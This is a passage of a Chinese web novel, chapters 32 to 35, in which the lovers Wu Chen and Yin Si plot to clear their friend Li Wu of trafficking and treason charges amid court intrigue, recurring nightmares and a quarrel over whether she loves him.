“不说,别抱我。”,巫辰学着殷思刚才莫名其妙的强硬举动,将他推开。
殷思泄气,无力得抱上她,道:“我——是我——”
“都是我。”
安静之中,不知是谁的心跳如鼓,情思暗涌难排。
砰砰——砰砰——砰砰——
砰————————————————!
一切都被大力的开门声打断。
景婵冲进屋内,满脸焦急喊着巫辰:“主子!主子,李四公子那边儿......”
两人紧抱着,跪坐在屋内,巫辰本就因频出梦魇心情烦乱,经这撞门声一吓,手上力度猛然变重,正正好好按到殷思肩上的箭伤。
殷思吃痛时身体失去平衡,直直朝着巫辰压去,巫辰未来得及反应,只得被殷思带着向后栽到地上。
门被开启后,屋内的场景,可想而知。
景婵:???
景婵被惊得伫于原地,双眸凝滞,竟忘了关上门,只是呆看着。
“公子!不好了公子!李公子他......”,屋外传来初鸣的大喊声,见景婵挡在门口,忙将她拉开欲进屋。
初鸣:???
初鸣默默道,“公子?您......您还醒着吗?在干什么呢......”
寂静得令人尴尬,初鸣戳向身旁还在发呆的景婵,“诶,你能不能过去看看,公子和巫大人他们两个,还活着吗?......怎么半天不动呢?”
32.山雨欲来
初鸣默默道,“公子?您......您还醒着吗?在干什么呢......”,寂静得令人尴尬,初鸣戳向身旁还在发呆的景婵,“你能不能过去看看,公子和巫大人他们两个,还活着吗?......怎么半天不动呢?”
巫辰被他压着,好像并未有什么特别的感受。
只是他散乱青丝扫过颈间时,有些痒。
还能依稀感觉到,轻贴在她耳边的面颊,出奇得烫。
殷思用仅能两人听见的声音,小声道:“说我晕过去了......”
巫辰无奈,“你太重了,我动不了。”
殷思将脸埋得更低,“......先把我推开。”
巫辰无语至极,这人竟懒得自己动一下。只好右手用力,同时尽力向左侧转身,将殷思推到地上。
殷思也暗自用力,默默从巫辰身上滑了下去,左手一点一点轻悄移动,将靠门那侧的脸尽量遮住,最后趴在地上不敢动弹。
巫辰自然起身,冷眼撇向门口目瞪口呆的两人。
“溯理说他晕过去了。”
殷思:???
初鸣:......
景婵率先回神,认真道:“溯理是......?”
“哎呀,是我家公子!”,初鸣忙将堵在门口的景婵拉开,而后冲进屋里对殷思说着,“公子您不要装死了!我有正事要和您说......”
“滚出去!”,殷思突然趴在地上对着地面大喊,阻止了初鸣正靠近的脚步。
“......哦。”,初鸣退出屋去,临走时仍不忘嘱咐巫辰,“巫大人,您记得让公子别趴太久了,地上凉!”
景婵见状小声道:“我......我等会儿再来......”
巫辰道:“回来。”
景婵尴尬回身。
巫辰面色平静依旧,道:“什么事,说。”
景婵道:“李四公子那儿出事了,那日醒淑楼下的马车皆是李公子带去的,车里的小姑娘......竟都是从天隆国卖来献都的流民。李公子现难与李御史说清了,说殿前司过几日便会来李府问责,说李四公子有通敌之嫌......还有冷中书令那儿,现也在找李公子讨说法。”
巫辰转身对着地上的殷思,问道:“殷思,你听见了吗。”
“嗯。”
巫辰道:“你先下去,我们想办法。”,而后似是又想起些什么,将景婵叫住,“等等。”
景婵一脸不自然得问道:“......主子......有什么吩咐?”
巫辰道:“下次进来,记得敲门。”
“是,是是......”,景婵松下一口气,赶紧跑开。
巫辰将门关好后回到殷思旁边,蹲下来用手戳了戳他腰间位置,“殷思,冷时俊不是和你起冲突时死的吗,找李鹜讨说法做什么。”
殷思被戳这么一下,身体不自觉紧绷起来,思考后回应道:“李鹜不会通敌,马车里的都是什么人,他应该也是不知道的。但马车里的姑娘身份败露,冷时俊又意外被杀,此事便是谁也说不清的了。所以,他们是想将罪责,全都推至李鹜一人身上。”
巫辰边思考边继续戳着倒地的殷思,“你怎知李鹜不会通敌。若不是通敌,只是买卖流民,以此赚钱获利呢?”
“阿颜,你先别乱戳我了......”,殷思说着终于起身,见巫辰赤脚便直接踩在地上,手臂轻展,将她横抱于怀,步伐沉稳又带着几分急切。
巫辰将手环上他脖颈,盯着殷思问道:“我问你话呢。”
“李鹜是怎样的人,我很清楚,应是有别的原因。”,殷思将巫辰抱回床上坐好,帮她穿好鞋袜,一边继续说着,“李鹜行事虽不拘小节,在献都算是闲人,却少与人结怨且未出过大错,是个知世故而不世故的。”
巫辰拉上殷思的衣衫,仔细看着他道:“溯理这么天真吗。”
“......?”,殷思一时愣住,有被亲密唤着的害羞,也有不解。
巫辰道:“你居然想着,在献都、在朝堂这种吃人不吐骨头的地方,会有全然远离是非的人。”
“谁又不是真心掺了利用,或是利用掺了真心。这些年,我只拿李鹜当做能够远离是非的挡箭牌,他怎会全然不知。我也许久未做过有用的好事,只好先信他,再帮他。”,殷思认真说着。
巫辰道:“这便是,为什么殷家这些年做的事最多,吃的苦最多,死的人最多;而获利却是世家中最少的原因。殷家那么多族女与皇家结亲联姻,皇室理所应当顾及亲缘,待你们好;但这只是他们威胁殷家的筹码,想要手握重兵的人,心甘情愿得听话。”,字字句句直指殷思的痛处、殷家的痛处。
巫辰稍观察殷思的神情,竟有些失神,停顿后继续道:“殷思,凡事并非做到无愧或是无为,才会有好结果。从前你想着,躲在一旁坐以待毙,没有人会因你的避世而放过你;如今你又要秉承着你所认为的忠义,不做错事亦或是去做好事,这样只会输得更多。”
“利用好手中已有的,直接去抢,最快。”
“利用.......谁?”,殷思定在原地,不敢在细细深想巫辰所说的话,他愿意被利用,但却最想要她的真心。
巫辰未回答他,只道:“他们想杀人,不如就将他们想杀的人凑齐,等着他们,过来杀。”
“......”
离开缙华堂后的几次事件,巫辰皆是被无形的力量推着走,怎料前路却愈发晦暗,寻不得光。她深知,自己断然不可再如此平静得等,不可等着祸事临头后被迫做出反应。
需得先发制人,再一剑封喉,最快。
......
夜笼深宅,庭院之中,不闻人语,异常安静。
李鹜身边的小厮见殷思和巫辰过来,忙问着好,“殷公子好,巫大人好,我家公子......公子正在和老爷商谈要事,不如您二位晚些再......”
小厮话未说完便被屋内的一声惨叫打断。
“啊———————怎么我说了这么多遍你就是不信我呢!!!我说了没做,就是没做!!!”,听屋内的动静,李鹜应是在嚎啕哭着。
“我是爱乱玩儿,爱胡作非为!但那样的藏钱,我是怎么敢赚的啊呜呜呜呜呜呜呜呜......爹!不如你去好好......好好查我的账,我没有多出来的钱......”
李御野怒道:“你给我闭嘴!二十几岁的男人了,哭哭啼啼,像个什么样子,整日在外面丢我的脸。”
听到此处,巫辰看了一眼身旁的殷思,殷思却装作无事发生,低眉看向别处。
李鹜强忍啜泣,声含悲戚道:“我......我......那车是我带去的,可里面的人,原本不是流民的......爹!你相信我啊!”
李御野道:“李鹜你的脑子是傻了吗?你从那花楼往返带人,旁人能认为你是带了什么好人去?”
两人皆是在门外侧耳听着,殷思却见巫辰眉间微皱,更甚在无奈轻叹,忙问道:“怎么了?”
巫辰道:“哭了半天,没一句是重点。”
殷思小声道:“那你看我哭的时候......”
“嘘。”,巫辰说着轻拽殷思衣角,示意不要说话。
李御野似是盛怒,道:“还有李境和李岸,你敢说这些事你是全然不知吗!”
所提到的李境和李岸,是李鹜的兄长,前几月同样死于献都城的
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刺杀案中。
李鹜却突然大声道:“......大哥和三哥死了我是高兴,那又怎么了!”
“你!”
李鹜道:“根本不是我做的!......我若能杀得了他们,我一早便杀了!若不是他们......我娘也不会......”
李御野道:“你还敢提你娘!”
“为什么不能提!我的娘我为什么不能提!李御野,你是对我娘做了多少亏心事,就是不许我提......”,此句过后,屋内“啪”得一声脆响,应是耳光重重打在面上,随后便是重重的倒地声。
“呜......”
李御野厉声而斥:“李鹜,你若是自己活腻了,惹出这些事后你便一个人去收拾,莫要污了我李家的清誉!你要死要活,与我无关,我只当没你这个儿子!”
李鹜抽噎着,“是......是花楼的姑娘......有日,她们与我说......想要......读书、想要认字,但楼里的妈妈不许,也不让请女师傅进楼里.......我就想着,趁无人注意的时候带她们到外面去......”
李御野道:“你疯了吗?她们要出去你便将人往出带?就是有你这种旁人说什么,你便信什么的傻子在......”
李鹜却打断道:“我从前也想读书!我和我娘在......在花楼的时候,我说我想读书......她们都不许,都说花楼女人生的儿子,不配读书,我娘她就......就一字一句教我念诗、写字,被你接回来后我也看了许多书,但都再没有娘教我时记得快了......我......”
“滚出去!”,未再等李鹜将话说完,李御野直接开始轰人出去。
李鹜低声说着,语气满是委屈,“爹......你要救我啊,我真的与买卖流民无关的......”
“滚!”
李鹜收拾好情绪正要出门,一启门便看见殷思和巫辰在门口,顿感尴尬,赶忙用袖子抹去眼泪。
殷思道:“李鹜,你没做过的事,皆可查清。无辜之人,不会被冤枉。”
李鹜听殷思这一句,委屈瞬间涌上心头,又挤出几滴眼泪来,抓着殷思问道:“殷兄,你信我对不对......”
殷思道:“嗯。”
“巫姑娘,你......”,李鹜越哭越激动,说着又欲去抓巫辰的胳膊询问,殷思迅速将巫辰往后一拉,李鹜扑空后也觉得这般冒然拉她,很不合适。但停了动作后,仍是追问:“抱歉......巫姑娘,你也信我的,对不对?”
巫辰先是沉默,而后道:“......嗯。”
李鹜哭着道:“呜呜呜呜......你们真好呜呜呜呜呜呜......”
“公子,先回屋吧,老爷说的只是气话,定会帮您的。”,小厮说着去扶李鹜。
“呜呜.....好。”
......
月悬庭院,风冷衣袂,回房的路上稍有起风。
殷思松开与巫辰紧牵的手,将身上外搭脱下裹在她身上,而后似是想起什么,试探问道:“阿颜,我......我哭的时候,你会烦吗?”
“......”,巫辰只看了他一眼,没打算理他,继续往前走着。
殷思将巫辰拉住,道:“......你嫌弃我了。”
巫辰淡淡道,“有点忘了。”,而后用冰冷指尖轻碰他的眼角,“殷思,哭一个看看。”
殷思垂眸一笑,竟又有些不好意思,“你总这样......”
巫辰却认真道:“你哭起来,静悄悄的,看着好玩。”
殷思道:“......那阿颜喜欢看吗?”
“喜欢。”
33.棺前血
咚咚咚————咚咚———
门扉被重扣,声声闷响,惊扰清梦。
巫辰还未醒透,捂住耳朵去喊殷思开门,“殷思,门。”
“殷兄!殷兄———救命......救命啊!”,李鹜于门外边哭喊边重砸着门。
因一夜未眠,殷思拖着睡意启门,瞬间清醒,只见李鹜哭得稀里哗啦,“殷兄,你救我......只有你能救我了......”
“怎么......”
殷思话未说完,便被李鹜哐当一跪打断。
李鹜跪在地上紧拽殷思胳膊,强忍啜泣,断断续续不停说着,“......边境一早来了消息,我二哥......我二哥他说是受了近日献都中我的传闻影响,前线作战时军心涣散不稳,遭了突袭,说他受了重伤已是多日昏迷未醒......恐怕已是时日......军中向来严明,哪怕回来了,也会被清算战败。因冷中书令上书弹劾,我爹也被传去面圣......是我,都是因为我害了他们,是不是......”,李鹜已是泪如决堤,发丝贴于满是泪痕的脸颊,面上涕泪交加,很是狼狈。
殷思见他这般,极为不忍,“李鹜,你先起来说话......”
“殷兄......怎么办啊,是不是我认下来了,他们便不会被牵连了......只要我死了,他们就能活命了是不是,是我......是我将李家毁了......”
巫辰被烦得不行,只好出门,李鹜转身便又连带着去拉巫辰,“巫姑娘!你......你帮我想想办法......只有你们能救我了!”,巫辰也被李鹜拽得连晃几下。
殷思着急道:“你先放开她,李鹜!”
“我真的是冤枉的,我什么都没做过,因何揪着我不放,何至于此啊......”,李鹜此时已听不进任何话,不管不顾得哭着。
此言一出,殷思却微微发愣,动作也停滞下来。不管是于醒淑楼的会面,还是与冷时俊的冲突,皆因他而起,顿感内疚,如今只更想救下李鹜。
巫辰垂眼盯向李鹜,眼底唯有冰冷寒意,道:“你哭得越久,死得越快。”
“......呜。”,李鹜似是被巫辰的眼神吓到,瞬间松手放开巫辰,也不敢再哭。
殷思将李鹜拉起道:“你起来,坐下好好说,冷中书令因何事弹劾李御史?”
“......嗯。”,李鹜尽力调整好情绪,而后解释道,“说......说他结党营私,未能履行监察百官之责,放任官员腐败和......和违法流通皇家祭品......更甚是疏忽巡查地方郡县,参与将赃物流通至他国买卖......”
殷思问道:“皇室祭品,前些月烧毁的宗正寺的?”
李鹜道:“对!是叫宗正寺的。”
“宗正寺一案不是已结,宗正寺卿留下罪己诏后自尽于府内,难不成齐炜又在......”,殷思转而看向巫辰。
巫辰道:“齐炜应是正被要挟。那日太康殿内,皇帝将齐炜之女指婚给了冷时俊。”
“殷思,关于祭品买卖,除此之外,与冷氏还有何关联。”
殷思解释道:“......建国初期,张氏与冷氏两世家受皇命合办绰华堂,绰华堂直受皇帝任命为皇商,垄断例如盐业、茶马、丝绸等重要产业;且主持对外贸易,管理港口海运和其他陆运商道。荔平案后,张家覆灭,绰华堂并入户部,但冷家应是仍有货运买卖的渠道或人脉。”
李鹜听到此处一下便懂了,声音带着哭腔的愤懑:“他冷氏分明是贼喊捉贼!我爹从不沾商户买卖,定是买卖祭品一案,查到了冷氏的头上,他们竟反过来咬起我爹来!”
殷思道:“若倒卖皇室祭品与冷氏有关,那买卖年轻女子至花楼,极有可能,也是冷氏的手笔。”
李鹜委屈说着,“可我们......我们没有证据......没有证据仅凭猜测,如何能将罪名归至冷中书令......”
巫辰回想起那日醒淑楼下,马车翻倒后,目睹过的,那个不停用刀刺向冷时俊的小姑娘,她眼中的愤恨,不像是临时起意。
巫辰转言问道:“殷思,那日醒淑楼下马车内,那些即将卖至楼里的小姑娘,现在何处。”
“应是......东方羽灵所在的继华堂中。”
李鹜道:“是了!是在继华堂,东方姑娘最喜收留一些无家可归......”
巫辰道:“她们之中,有人见过冷时俊,应是可以作证。”
殷思凝眉片刻,而后低语道,“冷氏到底要做什么......近年来,冷氏与皇后一派走得极近,若是授意于皇后,皇后又要做什么......”
李鹜已然收了泪意,忙接话,“会是因得我二哥吗!我二哥先前领铁骑于边关大捷战胜,天隆国因此降了,还放了颖王殿下回大苍的,按打算,他应于来年年初归都受封赏......我家多年来可是与皇后毫无交集,只听命于陛下,皇后此举是否是为了扫清障碍......”
巫辰问道:“铁骑边关大捷,是仙宁首次测算出战星高悬的那一仗吗?”
李鹜道:“正是!巫姑娘你知晓的真多,那次之后,朝中都说我二哥是将星现世呢!”
殷思道:“那日重阳宴,皇后便对仙宁与钦天监,处处针对,欲寻错处。”
李鹜道:“......是针对那位国师吗?我当是在针对你们两人呢。殷兄,你若在朝中,干起正事来,加上殷家实打实的亲兵卫。夺权,岂不是很容易吗?至于巫姑娘......杀了皇后极重要的亲信,那陈湘娩,可是皇后未出闺阁时便跟在她身边的。”,言必眼眶渐红,叹着气道,“唉......最近半年来......大苍不对劲的事可太多了,如今我......”
巫辰却突然问道,“展家毒呢?”
殷思神色闪过一丝惊讶,未曾想到巫辰会主动提到展家毒。
李鹜道:“说起展家毒......冷夫人!冷夫人不是死于展家毒吗,都城高官刺杀案的开端,就是冷夫人被毒杀!且后续的多起刺杀案,大多都是展家毒所至!”
殷思观察着巫辰的神情,怕因如此提及展家,她会不悦,而后仔细分析道:“假设人口和祭品买卖的主谋是冷家,且买卖流通时,必得经过燕庭,而燕庭现又为皇后一派所管。那皇后与冷氏的联盟,极有可能是因皇后得了冷氏的把柄,冷氏现也正受皇后的掣肘与桎梏。”
巫辰淡淡道:“用展家毒,挑拨他们。缙华堂里也出过展家毒,与缙华堂有关,便是与皇后亲信陈湘娩有关。将展家毒的出现,推至皇后身上。以皇后正用展家毒清理朝廷一事,作为和冷氏谈判的条件。”
李鹜不解,“可多起刺杀案,与展家毒......真是皇后所做吗?”
殷思肯定道:“是不是皇后做的,应是无所谓的,冷中书令觉得是,就够了。”
......
冷府内,满是缟素与死寂之气,声息寥寥无几,只令人万般压抑。
“殷公子,这边儿请。”,冷府管事迎着巫辰和殷思至议事堂。
行门口时,管事却面含讥讽道,“殷公子,老爷吩咐过,这议事堂只男人可进,女人没资格进入。”,而后撇向巫辰。
殷思快速反应将一旁侍卫腰间长刀抽出,丝毫未顾情面,将其架于管事脖颈边,“你是找死吗?”
“公子不必动气,您既然愿意过来,与冷中书令洽谈正事,想必,您也不想闹得太难看吧。”,那管事形销骨立,瘦如枯槁,咧嘴一笑褶皱便布满眼角。
巫辰知今日不可再生事端,只轻拽殷思衣角,轻声道:“殷思,你去就好,我等你。”
殷思觉心间一软,“嗯。”,盯着巫辰极少见的片刻轻柔,难以收回目光。
管事道,“这位姑娘好气度,殷公子,请吧。”
殷思进门后,巫辰于庭院内思索着适才的谈话,先前托殷思将展家毒传遍献都,只为寻得生死不明的兄长,可多次去寻,皆是无果而归。
巫辰开始怀疑起最先放出展家毒之人,是否是另有目的,那人极有可能与巫辰为同一思路,放展家毒,寻展家人。自己的试探反而落入了对方的圈套,还无意间将更多局外人拉入漩涡之中,如此冒然行事,是否错了,一时竟难以决断。
巫辰踱步失神之间,血腥味再入鼻腔,寸心又乱。一经那日醒淑楼的刺杀,巫辰对腥风之气已生畏惧,却难以自控般又去寻它。
步入灵堂内,寒意侵骨,焚香袅袅,缭绕于
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棺木之上,气味略感熟悉,巫辰未来得及细细去想,寻着屋内角落一人看去。
那女子半跪于地,埋着头,发丝凌乱垂肩,紧紧盯着其微微颤抖的双手,她右手持着尖刀,反复割向左手腕处。
每一刀间的间隔,都极有规律,利刃重复划破皮肉后,血珠汩汩自腕间冒出。
巫辰见此场景稍感不适,从前只刀尖舔血的人,竟开始怕起了血。
“哈哈哈......是你啊。”,那女子抬头看向巫辰,眼角淤青深染皮肤,面颊布满未愈的伤痕,眼神飘忽游离竟带笑意,巫辰依稀认出,她便是齐尚书之女,几月前嫁于冷时俊的齐徽姩。
“还记得我吗?秋日时,重阳那天,我们见过。”,齐徽姩边说着,手上动作仍未停止,依旧一刀一刀得割着,手腕处已是血肉模糊,皮肉翻开几乎腐烂。
“......”,巫辰发愣似得向后退去半步。
齐徽姩始终笑着,“这么害怕做什么?......哈哈哈哈哈......不认得我了?也是......那时,我还未变成这副鬼样子。”,而后起身去拉巫辰更靠近她些,“快坐,快坐......我应好好谢你的,要谢你与那位......殷公子,害死了这个畜生。你们二人的传闻,让人好生羡慕啊,可谓是郎情妾意,举案齐眉。”
“我听闻你们,在太康殿,穿着红衣喜服恩爱得要当场成婚?成了吗?告诉我!”,齐徽姩衣袂渐渐散乱,胡乱抓向巫辰后不停质问,“你们成婚了吗!不是你和殷公子要成婚吗?为什么最后是我被赐婚嫁给那头恶心的猪?你告诉我,你告诉我为什么?”
“哈哈哈哈哈哈哈哈!
巫辰只瞧着她说一会儿,笑一会儿,气息愈发沉重,竟不明心中滋味。多日前见她时,巫辰并不是毫无印象,只觉她与寻常官家贵女一般,是端庄得体的。
齐徽姩仍自顾地喃喃,“你不记得这事儿了吧?你倒是过得自在,借着你的殷公子攀附权贵,身边的,再无凡夫俗子,只剩世家贵族。我这般的蝼蚁,你怎会记得呢?”
“你们夜夜缠绵时,知道我在做什么吗?我在被羞辱、践踏、撕碎......哈哈哈哈哈哈哈哈......我此生,皆被毁了!拜你们这些高门权贵所赐!”
“别高兴得太早,男人,都是一副龌龊样子,得到后,便只会是个释放兽性的畜生。你记得早些成婚,早些像我一般,成个任人消解欲望的工具,成了抹布一样的脏东西......”,齐徽姩说着再次举刀,伸向自己脖颈处。
巫辰见她要自尽,赶忙上前组织去拉她拿刀的手,怎知齐徽姩眼神一闪,猛然间使力,双手持着刀转而向巫辰扎去。
巫辰被撞至棺前,棺木顶盖受力掉落在地。
一时间,血腥味、腐臭味,且夹杂着焚香气,涌入鼻腔,令人作呕。
巫辰抬眼却见棺椁木质缝隙内正隐隐渗血,而后殷红鲜血如□□涌而出,击打至周遭墙面后,将她淹没、吞噬。
梦羁幻象再起时,巫辰的意识难以自控得,渐渐淡去,眸中光影纷乱,眼看着齐徽姩手中的刀尖已抵至脖颈处,双手却僵硬在原处,无力再反抗。
“哈哈哈哈哈哈哈......你以为你还能活很久吗?你与你的殷公子,都活不久了......我要你们,陪葬!”
隐约听得声音,而后齐徽姩高声的叫喊陡然传进耳膜,嗡嗡作响,只可勉强分辨内容。
巫辰颈间皮肤被刺破,刀尖正往更深处嵌入。
「不要。」
“不要......”
「殷思,不要。」
巫辰早已难分现实与幻象,只句句轻声念着。
“殷思......不要......不要死......”
“殷思......”
“哈哈哈哈哈哈哈!”,耳边反复响起疯癫的怪笑声。
而后于纷乱嘈杂中,分辨出一人的声音。
“我在。”
“殷思......”,心雷如鼓,气息紊乱时,却又骤然平静。
“殷思在。”
再是分辨出他的温度。
还有怀抱。
“阿颜,我一直在。”
身体永远先于意识,认出他。
34.刺刀
巫辰最擅于纷乱嘈杂中,分辨出他的声音。
“殷思......”,心雷如鼓,气息紊乱时,却又骤然平静。
“殷思在。”
再是分辨出他的温度。
还有怀抱。
“阿颜,我一直在。”
身体永远先于意识,认出他。
......
巫辰猛然睁眼时,眼前的人,竟还是他。
周遭浓烟遮目,威焰四起,热汗早早将衣衫浸湿,灼烧中呼吸渐渐变得更加困难。
殷思低垂着头,手臂无力倾坠,很安静。
巫辰低头便见他的血已蔓延至脚边,忙向后退却半步,原本僵硬的双手传来一阵被拉扯着的力量。
看过去时,发现自己正双手持着刀柄,刀身已深深没入他的左胸,距离心脏仅有几寸的偏离,看起来很痛、很痛。
巫辰支撑着仅存的意识,反复提醒自己,不可以拔刀。
可还是眼睁睁看着利刃一点一点,从殷思的身上退了出来,力度轻缓,极其漫长。
他仍静静得坐着,青丝垂落遮住眉眼,没有任何反应。
巫辰不知所措时,却发现脚下的血液正向殷思所坐的位置倒退,像是倒流回他身上。
直至刀身全部拔出,血液已然归至刀口中心处。
巫辰开始缓步向后退去,只离殷思越来越来,一直到再也看不清他。
浓烟渐淡,而后散去,腾腾烈焰火光也变得不再刺眼,仅有片刻的时间,火势已几乎被全数熄灭。
整片浴火枫林的焦叶停止纷飞,恢复至原本的色彩,重焕生机。
所处场景,更甚每一处亭台楼阁,巫辰似乎是极为熟悉的,却一时想不起,到底是哪儿。
意识早已游离远去,巫辰于一片即将扭曲重归混沌的空间内,重重撞上一人。
看清那人面容时,骤然惊醒。
是她自己。
准确得说,是展颜辰。
......
.....
....
...
“阿颜,做噩梦了吗?”
“醒一醒———”
巫辰携着沉重喘息从梦魇中苏醒,于梦中许久,竟未发现那不是现实。
一下坐起后,巫辰满脸迷糊得看着眼前还活生生的殷思,而后毫无半分迟疑,一把抓住殷思衣领用力去扯,要将那层层碍事的衣衫扒开。
“你干什么......??”,殷思说着慌乱阻止,“很冷的,不要。”
两人的手都紧拽着一处,互相较着劲。
巫辰见要敌不过他,侧过身来将右手也一并加上用力,目不斜视紧盯着他肩头位置,使上双手去扒。
“阿颜......要撕开了。”,殷思身上最外层的衣物已被拉伸至极限,布料于瞬间被强行拉开,伴随着轻微的断裂声。
嘶——
殷思:“......”
殷思也不敢再挣扎,认命一般放任她继续扯开里面的几层,全部褪去后还未来得及冷,滚烫灼烧已蔓延至耳根。
巫辰快速略过殷思左肩处的箭伤,急着向梦中他中刀的位置查看。
殷思:“???”
寻得心脏位置,再向斜上方偏离半寸。
一时间两人皆是怔愣原地,殷思因巫辰指尖的冰凉触感,不由得身体轻颤,心神慌乱难安。
巫辰却见他左胸处的疤痕,与梦中刀口的位置完全重合,惊诧错愕后,仍是不敢相信。
“怎么弄的。”,巫辰问道。
“啊?”,殷思还未缓过神来,难以反应巫辰的发问。
“伤,怎么弄的?”,巫辰紧盯着那处伤疤,可以看出是两道刀伤重叠在一起后形成的瘢痕,第一刀未致命却会血流不止;第二刀,看开口长度应是极深的创口,却可将第一刀所割断的心脉暂时堵住,应是用来止血的。
殷思道,“我忘了。”,殷思说着默默将凌乱的衣衫整理好。
巫辰终于仔细去看殷思的眼睛,却极少见得,并未读懂他的神情。
......
从前于缙华堂初次听见他的名号时,就倍感反感,居高位而无所作为的人,巫辰更是极其厌恶的。
巫辰发现殷思认得自己的刀后,直接便怀疑起一切谜团,皆是由他而起。
在敬过司大狱那日,巫辰本没想让他活,唇上沾毒的剂量足够被咬伤的人死个八遍。
却因听过他的声音后,认出他曾出现在自己梦中,巫辰虽未能分辨于梦中对他的情绪,但至少知道,是不讨厌的。
殷思成了梦境与现实的连结。
于是下意识得将唇上剧毒尽数舔净,才咬上他颈间朱砂,不想让他死得这么快了。
在霖晴馆红枫下,又忆起曾在自家屋顶见过他一面,早早便对那一点红墨,印象深刻;所以他会出现在梦中,也就不算稀奇了。
那一次,是巫辰还有家的时候,也是巫辰为数不多的,未觉痛苦的日子。
过去的人,死得只剩殷思一人。
殷思又成了过去与现在的连结。
往后的相处,巫辰也曾多次认为他是个莫名其妙的人,不时脸红、不时言语间又带些自己听不懂的戏弄,却完全没有莫名其妙的恶意。
再然后便是借他的泪,感受温度;借他的伤,感知痛感。
在清醒得吻上他颈间朱砂时,原本无趣的“工具”,成了好玩的“玩具”。
巫辰喜欢看他奇怪的反应,因着自己几乎感知不到任何来自外界的刺激,仅有一副没有感受的空洞躯壳。
而殷思很像一只装满水和珠子的花瓶,敲一下,是带有回声的响动;晃一晃,又会叮叮当当得响个不停,很清脆,很干净。
这么好玩儿的东西,巫辰开始舍不得将他摔在地上,几乎要忘了别的“痛感”,更险些忘了“恨”。
对上他带有迟疑和遮掩的目光后,也悄然共同编织的幻梦中惊醒,必须要醒来了。
......
“巫辰,那日在冷府,冷听培认下买卖流民至都城一事,收了弹劾;却又要与我做别的交易,他说......”,巫辰回过神时,殷思已开始说起正事,当做适才无事发生一般。
殷思见巫辰眼神恍惚,伸手轻触她的面颊,小心问道:“你在听吗?”
巫辰道:“说。”
殷思继续道,“他说,买卖流民是不假,但年纪小
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且不会武的流民,曾多次被换成——刺客。要我查,刺客又是谁换的。”
巫辰淡淡道:“找几个容易死的,旁人都想杀的再去花楼,引刺客出来。”
殷思道:“......但他们,若真的被杀了呢?”
巫辰看向殷思,仍未回神,只是机械得回应道:“他们死了,与我有何干系。”
“明知有险,仍引人过去,是不是......”
巫辰打断,“你去叫人。”
殷思:“......”
巫辰已是昏沉得不行,竟又忘了才做好的决定,“可以吗。”,而后轻轻抱上殷思。
殷思抚上她的背,正要安慰,还是问了出来,“什么意思,什么可以......”
巫辰靠在他肩上,只觉得很舒服,很踏实,道:“抱过你之后,你高兴了,可以同意吗。”
殷思却直接将巫辰拉开,“阿颜,抱我......不是这样用的,不该是这样用的啊......我不是想向你索取这些的,不是只有这样我才会高兴的。”,他眼神闪动,说到最后又带了些哭腔。
巫辰见他这个反应,只好再按住殷思肩膀,又要去亲他。
“......??”,殷思熟练得躲开,几乎要急哭了。
巫辰只淡淡道:“还是不可以吗。”
“这么久了,这些是什么意思,你还是全然不知吗?”,殷思说着,眸中雾气升腾,欲滴未滴的泪,不敢再轻易坠下,“那我碰你,你为什么不拒绝呢......”
睡意涌上,巫辰难以继续思考,面无表情反问起殷思来,“为什么要拒绝。”,说罢正要躺下。
殷思将巫辰拽起来,迫她重新坐好,“阿颜,不要啊......你不可以不知道啊......”
寒风骤起时,窗扉忽破,霜华落到身上,昏灯寂寂,反复闪动于不明情绪的眸中,殷思是真的慌了。
“你不喜欢我了吗......”
......
殷思奢望的,一直很多,也包括从不存在于世间的一物——巫辰的真心。
无数次对自己的提醒或是警告,毫无用处,总是难以自控得,去靠近她、碰触她。
甚至开始对她的回应,抱有期待。
殷思自诩,经这浑浑噩噩一无是处的八年,他最是会忍耐。
但也最会逃避。
殷思也欺骗着自己逃离是非争端后,一切皆会安然无恙,可逃着逃着,却只迷失了自己。
曾远去的辰星出现后,算是终于有了方向,不再是无事可做,只好寻着光的去处,妄图能常伴左右。
久而久之,他又开始欺骗自己,居然认为耀眼星辰,只是为他一人点亮;也认为巫辰待他的偏爱,一定是喜欢。
情,最难忍,更不可逃避。
......
情至此处,难自抑,殷思只颤抖着嗓音,想要好好确认,“那些话,只可对喜欢的人说;那些动作,也是只可对喜欢的人做的......你怎么好像,突然不明白了,好像突然不喜欢我了......”
泪,悄声融于暖雪间,卷入残风后,再无声息。
真的痛时,居然哭不出了。
35.误杀
殷思将巫辰拽起来,迫她重新坐好,“阿颜,不要啊......你不可以不知道啊......”
寒风骤起时,窗扉忽破,霜华落到身上,昏灯寂寂,反复闪动于不明情绪的眸中,殷思是真的慌了。
“你不喜欢我了吗......”
困意如潮,漫入眼眸,昏昏欲睡时,殷思却在旁边抓着自己不放,问个不停。
“阿颜,你是不是......怕我死?是不是?”,他边说着,滚烫泪滴颗颗分明,落在巫辰衣领上,接触到皮肤时,温度已然散去,炙热不再。
——“嗯。”
“你喜欢和我待在一处,是不是?”
——“嗯。”
“你不讨厌我的,是不是......”
——“嗯。”
“所以,阿颜也是喜欢我的,是不是?”
“......”,巫辰却没有了回应,不再回答。巫辰的认知里,可以肯定回答的事,绝不吝啬回应。
可关于这件事,她确实不知,对人,如何算是喜欢;过于复杂的感情或是他的言外之意,太难懂,她始终想不明白。
相处许久,在巫辰的印象中,殷思总是反反复复提出各种问题,有关喜好亦或是有关看法,去不停确认巫辰的心意。
巫辰微微抬头,目光淡漠,没有丝毫表情,“有那么重要吗。”
殷思却暗自落泪,不放过一刻对视的机会,只盯着巫辰一字一句道,“很重要。”
巫辰不再看他,稍蹙眉后将呼吸调整平缓,强撑精神,“殷思,但这些对我来说,不重要。我还有许多事,未做成。”
“我......好累,别再逼我去回应,那些没有意义的事。”
“很烦。”
巫辰说着低头垂眼,再难看清神色,而后抬手将殷思推开,刚好抵在他心口那处伤疤的位置。
巫辰也会抱怨,殷思看似待自己极为真诚,可一旦涉及最关键的疑点,他又很会搪塞。这种巧妙的搪塞,极对巫辰的性子;巫辰从不愿追问,殷思不想说的事,她便也不想听了。
“你可以走了。”
巫辰躺下后,将被子蒙在头上,不再管他。
而后只觉吹窗而来的寒风渐淡,暖意弥散,夜雪不再,安然睡去。
......
虽是无梦,巫辰却翻来覆去,总也睡不踏实,只好于午夜时分强逼着自己清醒过来,起身后借着微烛确认,他不在屋里。
殷思又食言了,今夜未曾陪她。
所以第二日一早,巫辰启门出屋,见殷思裹着三层厚狐裘靠坐于门边时,完全不想搭理言而无信的人。
